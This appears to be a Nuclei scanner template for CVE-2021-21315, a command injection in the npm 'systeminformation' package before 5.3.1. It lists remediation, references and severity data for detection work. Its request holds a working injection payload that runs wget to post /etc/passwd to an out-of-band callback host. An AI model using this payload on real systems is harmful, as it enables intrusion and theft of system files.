id: CVE-2021-21315 info: name: Node.JS System Information Library <5.3.1 - Remote Command Injection author: pikpikcu severity: high description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information. remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected reference: - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC - https://security.netapp.com/advisory/ntap-20210312-0007/ - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v - https://www.npmjs.com/package/systeminformation - https://nvd.nist.gov/vuln/detail/CVE-2021-21315 classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.8 cve-id: CVE-2021-21315 cwe-id: CWE-78 epss-score: 0.96747 epss-percentile: 0.99574 cpe: cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:* metadata: max-request: 1 vendor: systeminformation product: systeminformation framework: node.js tags: nodejs,cve,cve2021,kev http: - method: GET path: - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})" matchers-condition: and matchers: - type: word part: body words: - "wget --post-file /etc/passwd {{interactsh-url}}" - name - running - pids condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 4b0a00483046022100cd06c831d674f9d3c36d93bbe89693fb13dff207db550171f906cf668c63569c0221009d6c1de31179dcc4b83bf08c06d64b8c85732bf3608a51d9625c2bfe65691932:922c64590222798bb761d5b6d8e72950